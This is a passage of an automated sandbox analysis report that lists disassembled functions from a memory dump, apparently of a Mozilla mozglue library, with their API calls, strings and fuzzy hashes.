-Infinity, xrefs: 6C539E60, 6C539E7B

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction ID: efd3941f69376e6b59dd9e18c2fcab802b1e914d1157d091dbf7064f523d0a18
Opcode Fuzzy Hash: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction Fuzzy Hash: C9C19D71A003298BDF14CFE8CC50B9EB7B6EB88314F54552DD409ABB80EB74A949CB91

Function 6C4DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6C4DDAF6
9, xrefs: 6C4DDE7F
0, xrefs: 6C4DDC7F
-, xrefs: 6C4DD7DD
, xrefs: 6C4DDA88
8, xrefs: 6C4DDC08
0, xrefs: 6C4DD852
1, xrefs: 6C4DDBDD

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction ID: 14851abc79d34a04dbf2cde325369a60ce2940b7eeb8a87584327f1033c9e2dc
Opcode Fuzzy Hash: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction Fuzzy Hash: 9062B13060C3458FD705EE28C4A0F5ABBF1AF86359F1A4A5DE4E54BB51C335A885CFA2

Function 6C54545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C548A4B

Strings

~qMl, xrefs: 6C54921F, 6C549459, 6C545703, 6C549269, 6C545740, 6C5456C7, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: daf36e273b7d447ad8a32736401089dcc3d5f23a5a09017820b52a2007c3b975
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F6B1F772E0021ACFDB14CF68CC917E8B7B6EF85314F1842A9C549DB785E730A989CB90

Function 6C54542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C54925C

Strings

~qMl, xrefs: 6C54921F, 6C549459, 6C545703, 6C549269, 6C545740, 6C5456C7, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 96838d61981010bfc2145d71df49a5a368a10c77c69f0f0dc2e1c8c5e90b861a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 65B1C572E0421ACBDB14CF58CC816EDB7B6AF85314F194269C949EB785E730A989CB90

Function 6C53C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53C0E9), ref: 6C53C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C53C437
FreeLibrary.KERNEL32(?,6C53C0E9), ref: 6C53C44C

Strings

ntdll.dll, xrefs: 6C53C413
NtQueryVirtualMemory, xrefs: 6C53C431

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction ID: 0c2c30935e4bc343505cb67d7d549cbf231db027848131fe490665ce5436f480
Opcode Fuzzy Hash: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction Fuzzy Hash: EAE0B6707023119BDF007F75DD0CB157BF8B706305F8A9316AA09A2700EBB2D0148B58

Function 6C4E9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C4EA5D6
0, xrefs: 6C4EA100
0, xrefs: 6C4EAB22
' , xrefs: 6C4EA3D8
@, xrefs: 6C4EA625
1, xrefs: 6C4EA824

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction ID: 8fb1c1b3091c5bf069cc7c1db482cc8a208024053d55f8ce2b804bbad8a7d244
Opcode Fuzzy Hash: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction Fuzzy Hash: 0682B0319093118BD711CF19C480E6EBFF2AF8975BF578A2AE8D547B90D3359886CB42

Function 6C4DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4DC1CB
__aulldiv.LIBCMT ref: 6C4DC24C
__aulldiv.LIBCMT ref: 6C4DC348
__aullrem.LIBCMT ref: 6C4DC365
__aulldiv.LIBCMT ref: 6C4DC37D

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 0edd36aa9997a951edb5c233b18ad85bee8517109b38e1f9f665b44a7d3c0e49
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: CB320632B046118FC718DE6CC8A0E56BBE6AFC9350F0A866DE495CB395D730ED05CB91

Function 6C5277A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C527A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C527A93

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C527AA1

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C527B31

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction ID: 4a510955138f46a2fae3a8b60463339358ea00baa30c4efb0a44bdd79b3ea55a
Opcode Fuzzy Hash: 4e5edd04656e4e351338f22b3da1dd85ec1a2866a90926d171af928aefb68dce
Instruction Fuzzy Hash: 49B16C357083818BCB14CF24C85065EB7E2AFC9358F154A1DE995A7BD1DB74E90ACB82

Function 6C4F8850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C4F97EA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F9813, 6C4F985D, 6C4F9878, 6C4F9CEB

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction ID: 8aac0ac4ab5cc61bbfe68d98dcacd1fc0e42b57141154970ab62697b686a8514
Opcode Fuzzy Hash: 47160de89f73eaeb73576d67561ae2d27ec969f933d10f11035fd48484642011
Instruction Fuzzy Hash: 03D26B71A156018FD718CF19C590E15BBE1BFD6324B29C76DE87A8B7A5C732E842CB80

Function 6C516CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C516D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516E1E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction ID: fd2881138fe8f4b574363b295e95acb4a8f269ce810b959b010a75b692efaa0a
Opcode Fuzzy Hash: e99a76142053a1281da33e6a567f8abea14b504cd14fc400b56fb18243e17514
Instruction Fuzzy Hash: 17A16C74618380CFD715CF24C8947AABBE2FFC8308F45491DE48A87B51DB74A949CB92

Function 6C53B700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C50FE3F), ref: 6C53B720
RtlNtStatusToDosError.NTDLL ref: 6C53B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C50FE3F), ref: 6C53B760

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction ID: 9eb7590432983afe8be3c48ac6adf3d9ee9dfe89791d062f87b396f9160d4054
Opcode Fuzzy Hash: bae5d7df9286d038840d8e036db1522185814bc8f0ae4113eccec11b5130acaa
Instruction Fuzzy Hash: 69F0A470A0021CEEDF01AAA18C88BDE77BCDB84319F506129D515655C0E774A99CC661

Function 6C4F4640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C4F4777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F5585, 6C4F55A8, 6C4F55C3, 6C4F5624

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction ID: c9f65dc3212d2c47fbcd71fa4fca32264fc353eeb665468f80f30c6443d1546f
Opcode Fuzzy Hash: 916ba36665356e3b463f99de986b17cf602011a11a619a7e00708649c937479c
Instruction Fuzzy Hash: 04B25C71A056018FD309CF29C590F15BBE2AFC5325B29C76DE47A8B7A5D771E842CB80

Function 6C5385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C538C7C
__aulldiv.LIBCMT ref: 6C538DD7

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d4f3cf98754f2de60cb63186e345606e4ba6729c6321f1f4902c2ab94f562fd0
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: ED325F71F011298BDF1CCE9DC8A17AEB7B2EB88300F15952BD50AFB790E6345D458B92

Function 6C5476E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C547E0B, 6C54793C, 6C547796, 6C547B0B, 6C5479FB, 6C5479C0

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 051ca7fb1014e6e0b0e13f9b930ed24752f20f0d00a0316de850774f05845cf7
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 0E32F871E0061A8FDB14CF99C890AADFBF2FF88308F548569C949A7745D731A986CF90

Function 6C546E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qMl, xrefs: 6C547E0B, 6C547C03, 6C54793C, 6C547B0B, 6C547C72, 6C5479FB, 6C5479C0

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ~qMl
API String ID: 0-4265875183
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 0c7daa52e3ba2666e358dd58c22b79867d329998af478505c4f41febfe382672
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6B22D671E006198FCB14CF99C980AADF7F2FF88304F6585AAC949A7745D731A986CF90

Function 6C515C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C4E4A63,?,?), ref: 6C515F06

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction ID: 75727b09f3dce0603784fdeea40a35a454011bcaa0c0ce63ac205fe3706f86de
Opcode Fuzzy Hash: 82624dbb4713a858d4c1f3ad0f21d12edcef85e66ac56c6d70ecb12fe23d78f8
Instruction Fuzzy Hash: 3CC1C075D052098BDB04CF55C9946EEBBB2FF89318FA8415DD8556BF40D732A905CF80

Function 6C4DDFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction ID: 5b886731a7a80ff84700a9d16d018c14b88c7583ece8e1f7fbd96d5ceb3b530b
Opcode Fuzzy Hash: ed8ff7b941c27016ae032d84d6872e7292fc6f8dbd79876077206820e8d83408
Instruction Fuzzy Hash: AC42A472A187508BD305DE3CC891B5AF3E2BFC9354F0A872DE999A7790D734E9418781

Function 6C500512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 2f3cd4e33fb6bbe21c3a0a888f81a15e568cb1439f9ec475f030d69026fd3d0a
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 6C220671E04619CFDB14CF98C890AADF7B2FF89308F54859AD44AA7745D731A986CF80

Function 6C54AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction ID: 93c2e9b11f20a32c0f25a41f10fb7134b0e68c492a3fac5eec3e71711bf03715
Opcode Fuzzy Hash: 4b6376d5c164ec3521223f39150db914b19b8a202d02095c6bcf9d11b8e77411
Instruction Fuzzy Hash: 4AF137726087459FD740CE28CC807AEB7E6AFC5319F15CA3DE4D487781E77498898792

Function 6C4DC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 3db0940278c151d6171303a0cb17ca70b8fb635cae8602f95b56aedbb0d49a1c
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 9FA1B371F0021A8FDB08DE69C891BAEB7F2AFC8355F198169E915E7781D7346C068BD0

Function 6C517710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

